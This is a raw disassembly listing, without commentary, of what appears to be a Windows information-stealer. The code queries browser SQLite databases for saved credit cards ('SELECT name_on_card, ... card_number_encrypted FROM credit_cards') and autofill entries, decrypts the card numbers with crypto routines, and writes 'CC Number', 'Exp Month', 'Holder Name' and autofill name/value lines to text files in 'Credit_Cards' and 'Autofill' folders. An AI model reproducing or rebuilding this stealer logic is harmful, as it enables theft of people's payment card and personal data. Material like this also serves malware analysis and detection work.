mov qword [rsp + 0x338], rax
call fcn.140241b54
movaps xmm0, xmmword [rsp + 0x330]
movdqa xmmword [rsp + 0x2890], xmm0
lea r8, [rsp + 0x2890]
mov edx, eax
lea rcx, [rsp + 0x240]
call fcn.140005880
or r15d, 0x180
mov dword [rsp + 0x40], r15d
mov dword [rsp + 0x44], r15d
mov r8d, 3
lea rdx, [rsp + 0x240]
lea rcx, [rsp + 0x1070]
call fcn.14000a160
movsd xmm0, qword [rax]
movsd qword [rsp + 0x3e0], xmm0
mov ecx, dword [rax + 8]
mov dword [rsp + 0x340], ecx
mov qword [rsp + 0x348], rsi
movaps xmm0, xmmword [rsp + 0x340]
movdqa xmmword [rsp + 0x2890], xmm0
mov eax, dword [rsp + 0x3e0]
test eax, eax
je 0x14002d619
mov dword [rsp + 0x2890], r14d
mov qword [rsp + 0x2898], rsi
cmp eax, 1
setne bl
mov rdx, qword [rsp + 0x258]
cmp rdx, 7
jbe 0x14002d41e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x240]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002d419
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002f33a
call fcn.140260e60
mov qword [rsp + 0x250], r14
mov qword [rsp + 0x258], 7
mov word [rsp + 0x240], r14w
test bl, bl
je 0x14002e8f5
lea rax, [rsp + 0x2948]
cmp qword [rsp + 0x2960], 0xf
cmova rax, qword [rsp + 0x2948]
mov qword [rsp + 0x3a0], rax
mov rax, qword [rsp + 0x2958]
mov qword [rsp + 0x3a8], rax
call fcn.140241b54
movaps xmm0, xmmword [rsp + 0x3a0]
movdqa xmmword [rsp + 0x2890], xmm0
lea r8, [rsp + 0x2890]
mov edx, eax
lea rcx, [rsp + 0x200]
call fcn.140005880
or r15d, 0x1800
mov r8d, 3
lea rdx, [rsp + 0x200]
lea rcx, [rsp + 0x1050]
call fcn.14000a160
movsd xmm0, qword [rax]
movsd qword [rsp + 0x3c0], xmm0
mov ecx, dword [rax + 8]
mov dword [rsp + 0x3b0], ecx
mov qword [rsp + 0x3b8], rsi
movaps xmm0, xmmword [rsp + 0x3b0]
movdqa xmmword [rsp + 0x2890], xmm0
mov eax, dword [rsp + 0x3c0]
test eax, eax
je 0x14002d628
mov dword [rsp + 0x2890], r14d
mov qword [rsp + 0x2898], rsi
cmp eax, 1
setne bl
mov rdx, qword [rsp + 0x218]
cmp rdx, 7
jbe 0x14002d561
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x200]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002d55c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002f33a
call fcn.140260e60
mov qword [rsp + 0x210], r14
mov qword [rsp + 0x218], 7
mov word [rsp + 0x200], r14w
test bl, bl
je 0x14002d69c
lea rax, [rsp + 0x2948]
cmp qword [rsp + 0x2960], 0xf
cmova rax, qword [rsp + 0x2948]
mov qword [rsp + 0x2b0], rax
mov rax, qword [rsp + 0x2958]
mov qword [rsp + 0x2b8], rax
call fcn.140241b54
movaps xmm0, xmmword [rsp + 0x2b0]
movdqa xmmword [rsp + 0x2890], xmm0
lea r8, [rsp + 0x2890]
mov edx, eax
lea rcx, [rsp + 0x88]
call fcn.140005880
or r15d, 0x180000
lea rcx, [rsp + 0x88]
cmp qword [rsp + 0xa0], 7
cmova rcx, qword [rsp + 0x88]
call fcn.1402427a0
shr rax, 0x20
test eax, eax
jne 0x14002f2c6
jmp 0x14002d637
xor bl, bl
test ecx, ecx
jne 0x14002f2dd
jmp 0x14002d3d6
xor bl, bl
test ecx, ecx
jne 0x14002f2fa
jmp 0x14002d519
mov rdx, qword [rsp + 0xa0]
cmp rdx, 7
jbe 0x14002d67f
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x88]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002d67a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002f33a
call fcn.140260e60
mov qword [rsp + 0x98], r14
mov qword [rsp + 0xa0], 7
mov word [rsp + 0x88], r14w
lea rax, [rsp + 0x2948]
cmp qword [rsp + 0x2960], 0xf
cmova rax, qword [rsp + 0x2948]
mov qword [rsp + 0x2c0], rax
mov rax, qword [rsp + 0x2958]
mov qword [rsp + 0x2c8], rax
call fcn.140241b54
movaps xmm0, xmmword [rsp + 0x2c0]
movdqa xmmword [rsp + 0x2890], xmm0
lea r8, [rsp + 0x2890]
mov edx, eax
lea rcx, [rsp + 0xa8]
call fcn.140005880
or r15d, 0x600
lea rax, [rsp + 0x29a0]
cmp qword [rsp + 0x29b8], 0xf
cmova rax, qword [rsp + 0x29a0]
mov qword [rsp + 0x130], rax
mov rax, qword [rsp + 0x29b0]
mov qword [rsp + 0x138], rax
call fcn.140241b54
movaps xmm0, xmmword [rsp + 0x130]
movdqa xmmword [rsp + 0x2890], xmm0
lea r8, [rsp + 0x2890]
mov edx, eax
lea rcx, [rsp + 0xc8]
call fcn.140005880
or r15d, 0x6000
mov dword [rsp + 0x40], r15d
mov dword [rsp + 0x44], r15d
lea rdx, [rsp + 0xa8]
cmp qword [rsp + 0xc0], 7
cmova rdx, qword [rsp + 0xa8]
lea rcx, [rsp + 0xc8]
cmp qword [rsp + 0xe0], 7
cmova rcx, qword [rsp + 0xc8]
xor r8d, r8d
call fcn.140241db4
mov rbx, rax
mov rdx, rax
shr rdx, 0x20
test edx, edx
jne 0x14002f317
mov rdx, qword [rsp + 0xe0]
cmp rdx, 7
jbe 0x14002d808
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0xc8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002d803
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002f334
call fcn.140260e60
mov qword [rsp + 0xd8], r14
mov qword [rsp + 0xe0], 7
mov word [rsp + 0xc8], r14w
mov rdx, qword [rsp + 0xc0]
cmp rdx, 7
jbe 0x14002d86d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0xa8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002d868
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002f33a
call fcn.140260e60
mov qword [rsp + 0xb8], r14
mov qword [rsp + 0xc0], 7
mov word [rsp + 0xa8], r14w
test bl, bl
je 0x14002e8f5
lea rcx, [rsp + 0x2948]
cmp qword [rsp + 0x2960], 0xf
cmova rcx, qword [rsp + 0x2948]
lea rdx, [rsp + 0x2720]
call fcn.140183550
mov rcx, qword [rsp + 0x2720]
test eax, eax
je 0x14002dad8
call fcn.1401813e0
nop
lea rcx, [rsp + 0x2948]
call fcn.140049640
nop
lea rcx, [rsp + 0x29a0]
call fcn.140049640
nop
lea rcx, [rsp + 0x2c60]
call fcn.1400067f0
nop
lea rcx, [rsp + 0x3400]
call fcn.140041710
nop
lea rcx, [rsp + 0x29f8]
call fcn.140049640
nop
lea rcx, [rsp + 0x29c0]
call fcn.1400457b0
nop
lea rcx, [rsp + 0x2988]
call fcn.140045c30
nop
lea rcx, [rsp + 0x2ab8]
call fcn.140049640
nop
lea rcx, [rsp + 0x3130]
call fcn.140010e70
nop
lea rcx, [rsp + 0x29d8]
call fcn.140049640
nop
lea rcx, [rsp + 0x2b58]
call fcn.140049640
nop
lea rcx, [rsp + 0x2918]
call fcn.140045a90
nop
lea rcx, [rsp + 0x34b0]
call fcn.140013570
nop
lea rcx, [rsp + 0x2a78]
call fcn.140049640
nop
lea rcx, [rsp + 0x2b18]
call fcn.140049640
nop
lea rcx, [rsp + 0x2a58]
call fcn.140049640
nop
lea rcx, [rsp + 0x2a38]
call fcn.140049640
nop
lea rcx, [rsp + 0x2af8]
call fcn.140049640
nop
lea rcx, [rsp + 0x2ad8]
call fcn.140049640
nop
lea rcx, [rsp + 0x28d8]
call fcn.140049640
nop
mov rdx, qword [rsp + 0x2980]
cmp rdx, 7
jbe 0x14002da2f
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x2968]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002da2a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002f39a
call fcn.140260e60
mov qword [rsp + 0x2978], r14
mov qword [rsp + 0x2980], 7
mov word [rsp + 0x2968], r14w
lea rcx, [rsp + 0x31a0]
call fcn.140041710
nop
lea rcx, [rsp + 0x28f8]
call fcn.140049640
nop
lea rcx, [rsp + 0x2b38]
call fcn.140049640
nop
lea rdx, [rsp + 0x28b8]
lea rcx, [rsp + 0x28b8]
call fcn.140061550
nop
lea rdx, [rsp + 0x28a8]
lea rcx, [rsp + 0x28a8]
call fcn.140061550
nop
lea rcx, [rsp + 0x2928]
call fcn.140049640
nop
lea rcx, [rsp + 0x2b88]
call fcn.140049640
nop
lea rdx, [rsp + 0x28c8]
lea rcx, [rsp + 0x28c8]
call fcn.140061550
jmp 0x14002f217
mov qword [rsp + 0x20], r14
lea r9, [rsp + 0x2700]
mov r8d, 0xffffffff
lea rdx, str.SELECT_name_on_card__expiration_month__expiration_year__card_number_encrypted_FROM_credit_cards
call fcn.1401843e0
test eax, eax
je 0x14002dcc2
mov rcx, qword [rsp + 0x2720]
call fcn.1401813e0
nop
lea rcx, [rsp + 0x2948]
call fcn.140049640
nop
lea rcx, [rsp + 0x29a0]
call fcn.140049640
nop
lea rcx, [rsp + 0x2c60]
call fcn.1400067f0
nop
lea rcx, [rsp + 0x3400]
call fcn.140041710
nop
lea rcx, [rsp + 0x29f8]
call fcn.140049640
nop
lea rcx, [rsp + 0x29c0]
call fcn.1400457b0
nop
lea rcx, [rsp + 0x2988]
call fcn.140045c30
nop
lea rcx, [rsp + 0x2ab8]
call fcn.140049640
nop
lea rcx, [rsp + 0x3130]
call fcn.140010e70
nop
lea rcx, [rsp + 0x29d8]
call fcn.140049640
nop
lea rcx, [rsp + 0x2b58]
call fcn.140049640
nop
lea rcx, [rsp + 0x2918]
call fcn.140045a90
nop
lea rcx, [rsp + 0x34b0]
call fcn.140013570
nop
lea rcx, [rsp + 0x2a78]
call fcn.140049640
nop
lea rcx, [rsp + 0x2b18]
call fcn.140049640
nop
lea rcx, [rsp + 0x2a58]
call fcn.140049640
nop
lea rcx, [rsp + 0x2a38]
call fcn.140049640
nop
lea rcx, [rsp + 0x2af8]
call fcn.140049640
nop
lea rcx, [rsp + 0x2ad8]
call fcn.140049640
nop
lea rcx, [rsp + 0x28d8]
call fcn.140049640
nop
lea rcx, [rsp + 0x2968]
call fcn.1400067f0
nop
lea rcx, [rsp + 0x31a0]
call fcn.140041710
nop
lea rcx, [rsp + 0x28f8]
call fcn.140049640
nop
lea rcx, [rsp + 0x2b38]
call fcn.140049640
nop
lea rdx, [rsp + 0x28b8]
lea rcx, [rsp + 0x28b8]
call fcn.140061550
nop
lea rdx, [rsp + 0x28a8]
lea rcx, [rsp + 0x28a8]
call fcn.140061550
nop
lea rcx, [rsp + 0x2928]
call fcn.140049640
nop
lea rcx, [rsp + 0x2b88]
call fcn.140049640
nop
lea rdx, [rsp + 0x28c8]
lea rcx, [rsp + 0x28c8]
call fcn.140061550
jmp 0x14002f217
xor r14d, r14d
mov rcx, qword [rsp + 0x2700]
call fcn.140185040
cmp eax, 0x64
jne 0x14002e16a
xor edx, edx
mov rcx, qword [rsp + 0x2700]
call fcn.140185630
mov r15, rax
mov edx, 1
mov rcx, qword [rsp + 0x2700]
call fcn.140185630
mov rsi, rax
mov edx, 2
mov rcx, qword [rsp + 0x2700]
call fcn.140185630
mov r14, rax
mov edx, 3
mov rcx, qword [rsp + 0x2700]
call fcn.140185630
mov rdi, rax
test rsi, rsi
je 0x14002dcbf
mov rcx, 0xffffffffffffffff
inc rcx
cmp byte [rsi + rcx], 0
jne 0x14002dd35
test rcx, rcx
je 0x14002dcbf
test r14, r14
je 0x14002dcbf
mov rax, 0xffffffffffffffff
nop word [rax + rax]
inc rax
cmp byte [r14 + rax], 0
jne 0x14002dd60
test rax, rax
je 0x14002dcbf
test rdi, rdi
je 0x14002dcbf
mov rax, 0xffffffffffffffff
inc rax
cmp byte [rdi + rax], 0
jne 0x14002dd83
test rax, rax
je 0x14002dcbf
mov r8, qword [rsp + 0x2990]
mov rdx, qword [rsp + 0x2988]
lea rcx, [rsp + 0x15a0]
call fcn.14005e970
mov rbx, rax
mov rdx, rdi
lea rcx, [rsp + 0x930]
call fcn.1400122d0
nop
mov r9, rbx
lea r8, [rsp + 0x930]
lea rdx, [rsp + 0x3320]
call fcn.14002f3b0
nop
lea rcx, [rsp + 0x930]
call fcn.140049640
nop
lea rcx, [rsp + 0x15a0]
call fcn.140049640
lea rdx, str.92_67_114_101_100_105_116_95_67_97_114_100_115
lea rcx, [rsp + 0x910]
call fcn.140025de0
nop
lea rdx, [rsp + 0x910]
lea rcx, [rsp + 0x30b0]
call fcn.140023cc0
nop
lea rcx, [rsp + 0x910]
call fcn.1400067f0
lea rdx, [rsp + 0x4d0]
lea rcx, [rsp + 0x30b0]
call fcn.140049440
mov rbx, qword [rax]
lea rdx, [rsp + 0x4d8]
lea rcx, [rsp + 0x30b0]
call fcn.140025dc0
mov r8, rbx
mov rdx, qword [rax]
lea rcx, [rsp + 0x1580]
call fcn.14005d8e0
nop
mov r8, rax
lea rdx, [0x140361710]
lea rcx, [rsp + 0x2de0]
call fcn.140055e90
nop
lea rcx, [rsp + 0x1580]
call fcn.1400067f0
lea rdx, [rsp + 0x2de0]
lea rcx, [rsp + 0x8f0]
call fcn.1400548a0
nop
lea rcx, [rsp + 0x8f0]
call fcn.14000a030
movzx ebx, al
lea rcx, [rsp + 0x8f0]
call fcn.1400067f0
test bl, bl
jne 0x14002df00
lea rdx, [rsp + 0x2de0]
lea rcx, [rsp + 0x8d0]
call fcn.1400548a0
nop
lea rcx, [rsp + 0x8d0]
call fcn.14000a350
nop
lea rcx, [rsp + 0x8d0]
call fcn.1400067f0
lea rcx, [rsp + 0x2f38]
call fcn.140049040
nop
lea rdx, [rsp + 0x2928]
lea rcx, [rsp + 0x28f8]
call fcn.140057990
lea r8, [0x1402f6138]
lea rdx, [rsp + 0x2de0]
test al, al
je 0x14002dfad
lea rcx, [rsp + 0x1520]
call fcn.140055d00
nop
lea r8, [rsp + 0x2968]
mov rdx, rax
lea rcx, [rsp + 0x1540]
call fcn.140055f00
nop
lea r8, str._Default.txt
mov rdx, rax
lea rcx, [rsp + 0x1560]
call fcn.140055e20
mov rdx, rax
lea rcx, [rsp + 0x2f38]
call fcn.140048fa0
lea rcx, [rsp + 0x1560]
call fcn.1400067f0
nop
lea rcx, [rsp + 0x1540]
call fcn.1400067f0
nop
lea rcx, [rsp + 0x1520]
jmp 0x14002e06c
lea rcx, [rsp + 0x1480]
call fcn.140055d00
nop
lea r8, [rsp + 0x2968]
mov rdx, rax
lea rcx, [rsp + 0x14a0]
call fcn.140055f00
nop
lea r8, [0x1402f9094]
mov rdx, rax
lea rcx, [rsp + 0x14c0]
call fcn.140055e20
nop
lea r8, [rsp + 0x2c60]
mov rdx, rax
lea rcx, [rsp + 0x14e0]
call fcn.140055f00
nop
lea r8, str..txt
mov rdx, rax
lea rcx, [rsp + 0x1500]
call fcn.140055e20
mov rdx, rax
lea rcx, [rsp + 0x2f38]
call fcn.140048fa0
lea rcx, [rsp + 0x1500]
call fcn.1400067f0
nop
lea rcx, [rsp + 0x14e0]
call fcn.1400067f0
nop
lea rcx, [rsp + 0x14c0]
call fcn.1400067f0
nop
lea rcx, [rsp + 0x14a0]
call fcn.1400067f0
nop
lea rcx, [rsp + 0x1480]
call fcn.1400067f0
lea rcx, [rsp + 0x38e0]
call fcn.140032140
mov r8d, 8
lea rdx, [rsp + 0x2f38]
lea rcx, [rsp + 0x38e0]
call fcn.140041270
nop
cmp qword [rsp + 0x3968], 0
je 0x14002e654
lea rdx, [rsp + 0x2928]
lea rcx, [rsp + 0x28f8]
call fcn.140057990
test al, al
je 0x14002e5a5
lea rdx, str.68_101_102_97_117_108_116
lea rcx, [rsp + 0x8b0]
call fcn.1400122d0
nop
lea rdx, [rsp + 0x8b0]
lea rcx, [rsp + 0x1460]
call fcn.140026ec0
mov rdx, rax
mov rcx, r12
call fcn.140057990
movzx ebx, al
lea rcx, [rsp + 0x1460]
call fcn.140049640
nop
lea rcx, [rsp + 0x8b0]
call fcn.140049640
test bl, bl
jne 0x14002e5a5
lea rcx, [rsp + 0x38e0]
call fcn.1400320a0
nop
lea rcx, [rsp + 0x2f38]
call fcn.1400067f0
nop
lea rcx, [rsp + 0x2de0]
call fcn.1400067f0
nop
lea rcx, [rsp + 0x30b0]
call fcn.140049640
nop
lea rcx, [rsp + 0x3320]
call fcn.140049640
nop
xor r14d, r14d
mov rcx, qword [rsp + 0x2700]
call fcn.140167240
mov qword [rsp + 0x20], r14
lea r9, [rsp + 0x2700]
mov r8d, 0xffffffff
lea rdx, str.SELECT_name__value_FROM_autofill
mov rcx, qword [rsp + 0x2720]
call fcn.1401843e0
test eax, eax
je 0x14002e366
mov rcx, qword [rsp + 0x2720]
call fcn.1401813e0
nop
lea rcx, [rsp + 0x2948]
call fcn.140049640
nop
lea rcx, [rsp + 0x29a0]
call fcn.140049640
nop
lea rcx, [rsp + 0x2c60]
call fcn.1400067f0
nop
lea rcx, [rsp + 0x3400]
call fcn.140041710
nop
lea rcx, [rsp + 0x29f8]
call fcn.140049640
nop
lea rcx, [rsp + 0x29c0]
call fcn.1400457b0
nop
lea rcx, [rsp + 0x2988]
call fcn.140045c30
nop
lea rcx, [rsp + 0x2ab8]
call fcn.140049640
nop
lea rcx, [rsp + 0x3130]
call fcn.140010e70
nop
lea rcx, [rsp + 0x29d8]
call fcn.140049640
nop
lea rcx, [rsp + 0x2b58]
call fcn.140049640
nop
lea rcx, [rsp + 0x2918]
call fcn.140045a90
nop
lea rcx, [rsp + 0x34b0]
call fcn.140013570
nop
lea rcx, [rsp + 0x2a78]
call fcn.140049640
nop
lea rcx, [rsp + 0x2b18]
call fcn.140049640
nop
lea rcx, [rsp + 0x2a58]
call fcn.140049640
nop
lea rcx, [rsp + 0x2a38]
call fcn.140049640
nop
lea rcx, [rsp + 0x2af8]
call fcn.140049640
nop
lea rcx, [rsp + 0x2ad8]
call fcn.140049640
nop
lea rcx, [rsp + 0x28d8]
call fcn.140049640
nop
lea rcx, [rsp + 0x2968]
call fcn.1400067f0
nop
lea rcx, [rsp + 0x31a0]
call fcn.140041710
nop
lea rcx, [rsp + 0x28f8]
call fcn.140049640
nop
lea rcx, [rsp + 0x2b38]
call fcn.140049640
nop
lea rdx, [rsp + 0x28b8]
lea rcx, [rsp + 0x28b8]
call fcn.140061550
nop
lea rdx, [rsp + 0x28a8]
lea rcx, [rsp + 0x28a8]
call fcn.140061550
nop
lea rcx, [rsp + 0x2928]
call fcn.140049640
nop
lea rcx, [rsp + 0x2b88]
call fcn.140049640
nop
lea rdx, [rsp + 0x28c8]
lea rcx, [rsp + 0x28c8]
call fcn.140061550
jmp 0x14002f217
mov r15d, dword [rsp + 0x40]
nop dword [rax + rax]
mov rcx, qword [rsp + 0x2700]
call fcn.140185040
cmp eax, 0x64
jne 0x14002e865
xor edx, edx
mov rcx, qword [rsp + 0x2700]
call fcn.140185630
mov rdi, rax
mov edx, 1
mov rcx, qword [rsp + 0x2700]
call fcn.140185630
mov rsi, rax
test rdi, rdi
je 0x14002e370
mov rcx, 0xffffffffffffffff
nop dword [rax]
inc rcx
cmp byte [rdi + rcx], 0
jne 0x14002e3c0
test rcx, rcx
je 0x14002e370
test rsi, rsi
je 0x14002e370
mov rax, 0xffffffffffffffff
nop word [rax + rax]
inc rax
cmp byte [rsi + rax], 0
jne 0x14002e3e0
test rax, rax
je 0x14002e370
lea rdx, str.92_65_117_116_111_102_105_108_108
lea rcx, [rsp + 0x890]
call fcn.140025de0
nop
lea rdx, [rsp + 0x890]
lea rcx, [rsp + 0x3090]
call fcn.140023cc0
nop
lea rcx, [rsp + 0x890]
call fcn.1400067f0
lea rdx, [rsp + 0x4e0]
lea rcx, [rsp + 0x3090]
call fcn.140049440
mov rbx, qword [rax]
lea rdx, [rsp + 0x500]
lea rcx, [rsp + 0x3090]
call fcn.140025dc0
mov r8, rbx
mov rdx, qword [rax]
lea rcx, [rsp + 0x1420]
call fcn.14005d8e0
nop
mov r8, rax
lea rdx, [0x140361710]
lea rcx, [rsp + 0x2e00]
call fcn.140055e90
nop
lea rcx, [rsp + 0x1420]
call fcn.1400067f0
lea rdx, [rsp + 0x2e00]
lea rcx, [rsp + 0x870]
call fcn.1400548a0
nop
lea rcx, [rsp + 0x870]
call fcn.14000a030
movzx ebx, al
lea rcx, [rsp + 0x870]
call fcn.1400067f0
test bl, bl
jne 0x14002e4f4
lea rdx, [rsp + 0x2e00]
lea rcx, [rsp + 0x850]
call fcn.1400548a0
nop
lea rcx, [rsp + 0x850]
call fcn.14000a350
nop
lea rcx, [rsp + 0x850]
call fcn.1400067f0
lea rcx, [rsp + 0x2f58]
call fcn.140049040
nop
lea rdx, [rsp + 0x2928]
lea rcx, [rsp + 0x28f8]
call fcn.140057990
lea r8, [0x1402f6138]
lea rdx, [rsp + 0x2e00]
test al, al
je 0x14002e6b9
lea rcx, [rsp + 0x13c0]
call fcn.140055d00
nop
lea r8, [rsp + 0x2968]
mov rdx, rax
lea rcx, [rsp + 0x13e0]
call fcn.140055f00
nop
lea r8, str._Default.txt
mov rdx, rax
lea rcx, [rsp + 0x1400]
call fcn.140055e20
mov rdx, rax
lea rcx, [rsp + 0x2f58]
call fcn.140048fa0
lea rcx, [rsp + 0x1400]
call fcn.1400067f0
nop
lea rcx, [rsp + 0x13e0]
call fcn.1400067f0
nop
lea rcx, [rsp + 0x13c0]
jmp 0x14002e778
lea rdx, str.CC_Number_:
lea rcx, [rsp + 0x38e0]
call fcn.140056430
lea rdx, [rsp + 0x3320]
mov rcx, rax
call fcn.140056410
mov rcx, rax
call fcn.14005d2f0
lea rdx, str.Exp_Month_:
lea rcx, [rsp + 0x38e0]
call fcn.140056430
mov rdx, rsi
mov rcx, rax
call fcn.140056430
mov rcx, rax
call fcn.14005d2f0
lea rdx, str.Exp_Year_:
lea rcx, [rsp + 0x38e0]
call fcn.140056430
mov rdx, r14
mov rcx, rax
call fcn.140056430
mov rcx, rax
call fcn.14005d2f0
lea rdx, str.Holder_Name_:
lea rcx, [rsp + 0x38e0]
call fcn.140056430
mov rdx, r15
mov rcx, rax
call fcn.140056430
mov rcx, rax
call fcn.14005d2f0
lea rcx, [rsp + 0x38e0]
call fcn.1400411d0
nop
lea rcx, [rsp + 0x38e0]
call fcn.1400320a0
nop
lea rcx, [rsp + 0x2f38]
call fcn.1400067f0
nop
lea rcx, [rsp + 0x2de0]
call fcn.1400067f0
nop
lea rcx, [rsp + 0x30b0]
call fcn.140049640
nop
lea rcx, [rsp + 0x3320]
call fcn.140049640
nop
jmp 0x14002dcbf
lea rcx, [rsp + 0x1320]
call fcn.140055d00
nop
lea r8, [rsp + 0x2968]
mov rdx, rax
lea rcx, [rsp + 0x1340]
call fcn.140055f00
nop
lea r8, [0x1402f9094]
mov rdx, rax
lea rcx, [rsp + 0x1360]
call fcn.140055e20
nop
lea r8, [rsp + 0x2c60]
mov rdx, rax
lea rcx, [rsp + 0x1380]
call fcn.140055f00
nop
lea r8, str..txt
mov rdx, rax
lea rcx, [rsp + 0x13a0]
call fcn.140055e20
mov rdx, rax
lea rcx, [rsp + 0x2f58]
call fcn.140048fa0
lea rcx, [rsp + 0x13a0]
call fcn.1400067f0
nop
lea rcx, [rsp + 0x1380]
call fcn.1400067f0
nop
lea rcx, [rsp + 0x1360]
call fcn.1400067f0
nop
lea rcx, [rsp + 0x1340]
call fcn.1400067f0
nop
lea rcx, [rsp + 0x1320]
call fcn.1400067f0
lea rcx, [rsp + 0x3c10]
call fcn.140032140
mov r8d, 8
lea rdx, [rsp + 0x2f58]
lea rcx, [rsp + 0x3c10]
call fcn.140041270
nop
cmp qword [rsp + 0x3c98], 0
je 0x14002e9b8
lea rdx, [rsp + 0x2928]
lea rcx, [rsp + 0x28f8]
call fcn.140057990
test al, al
je 0x14002e940
lea rdx, str.68_101_102_97_117_108_116
lea rcx, [rsp + 0x830]
call fcn.1400122d0
nop
lea rdx, [rsp + 0x830]
lea rcx, [rsp + 0x1300]
call fcn.140026ec0
mov rdx, rax
mov rcx, r12
call fcn.140057990
movzx ebx, al
lea rcx, [rsp + 0x1300]
call fcn.140049640
nop
lea rcx, [rsp + 0x830]
call fcn.140049640
test bl, bl
jne 0x14002e940
lea rcx, [rsp + 0x3c10]
call fcn.1400320a0
nop
lea rcx, [rsp + 0x2f58]
call fcn.1400067f0
nop
lea rcx, [rsp + 0x2e00]
call fcn.1400067f0
nop
lea rcx, [rsp + 0x3090]
call fcn.140049640
nop
mov rcx, qword [rsp + 0x2700]
call fcn.140167240
mov rcx, qword [rsp + 0x2720]
call fcn.1401813e0
lea rdx, [rsp + 0x2948]
lea rcx, [rsp + 0x810]
call fcn.14005e2b0
nop
lea rcx, [rsp + 0x810]
call fcn.14000a030
movzx ebx, al
lea rcx, [rsp + 0x810]
call fcn.1400067f0
test bl, bl
je 0x14002e8e7
lea rdx, [rsp + 0x2948]
lea rcx, [rsp + 0x7f0]
call fcn.14005e2b0
nop
lea rcx, [rsp + 0x7f0]
call fcn.14000a110
nop
lea rcx, [rsp + 0x7f0]
call fcn.1400067f0
lea rdi, [0x1402f8dcc]
lea rsi, str.Xa_
mov rdx, qword [rsp + 0x2960]
cmp rdx, 0xf
jbe 0x14002ea19
inc rdx
mov rcx, qword [rsp + 0x2948]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002ea14
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002f340
jmp 0x14002ea14
lea rdx, str.NAME_:
lea rcx, [rsp + 0x3c10]
call fcn.140056430
mov rdx, rdi
mov rcx, rax
call fcn.140056430
mov rcx, rax
call fcn.14005d2f0
lea rdx, str.VALUE_:
lea rcx, [rsp + 0x3c10]
call fcn.140056430
mov rdx, rsi
mov rcx, rax
call fcn.140056430
mov rcx, rax
call fcn.14005d2f0
lea rdx, str.__________________________________
lea rcx, [rsp + 0x3c10]
call fcn.140056430
mov rcx, rax
call fcn.14005d2f0
lea rcx, [rsp + 0x3c10]
call fcn.1400411d0
nop
lea rcx, [rsp + 0x3c10]
call fcn.1400320a0
nop
lea rcx, [rsp + 0x2f58]
call fcn.1400067f0
nop
lea rcx, [rsp + 0x2e00]
call fcn.1400067f0
nop
lea rcx, [rsp + 0x3090]
call fcn.140049640
nop
jmp 0x14002e370
call fcn.140260e60
mov qword [rsp + 0x2958], r14
mov qword [rsp + 0x2960], 0xf
mov byte [rsp + 0x2948], 0
mov rdx, qword [rsp + 0x29b8]
cmp rdx, 0xf
jbe 0x14002ea78
inc rdx
mov rcx, qword [rsp + 0x29a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002ea73
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002f346
call fcn.140260e60
mov qword [rsp + 0x29b0], r14
mov qword [rsp + 0x29b8], 0xf
mov byte [rsp + 0x29a0], 0
mov rdx, qword [rsp + 0x2c78]
cmp rdx, 7
jbe 0x14002eadc
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x2c60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002ead7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002f34c
call fcn.140260e60
mov qword [rsp + 0x2c70], r14
mov qword [rsp + 0x2c78], 7
mov word [rsp + 0x2c60], r14w
lea rcx, [rsp + 0x3400]
call fcn.140041710
nop
mov rdx, qword [rsp + 0x2a10]
cmp rdx, 0xf
jbe 0x14002eb4a
inc rdx
mov rcx, qword [rsp + 0x29f8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002eb45
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002f352
call fcn.140260e60
mov qword [rsp + 0x2a08], r14
mov qword [rsp + 0x2a10], 0xf
mov byte [rsp + 0x29f8], 0
add r13, 0x20
jmp 0x14002c89c
lea rcx, [rsp + 0x29c0]
call fcn.1400457b0
nop
mov rcx, qword [rsp + 0x2988]
test rcx, rcx
je 0x14002ebd3
mov rdx, qword [rsp + 0x2998]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002ebba
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002f358
call fcn.140260e60
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x2988], xmm0
mov qword [rsp + 0x2998], r14
lea rsi, vtable.CryptoPP::SourceTemplate_class_CryptoPP::StringStore_.1.0
lea r12, vtable.CryptoPP::SourceTemplate_class_CryptoPP::StringStore_.0
lea r13, [0x1402f8dcc]
mov rdx, qword [rsp + 0x2ad0]
cmp rdx, 0xf
jbe 0x14002ec2b
inc rdx
mov rcx, qword [rsp + 0x2ab8]
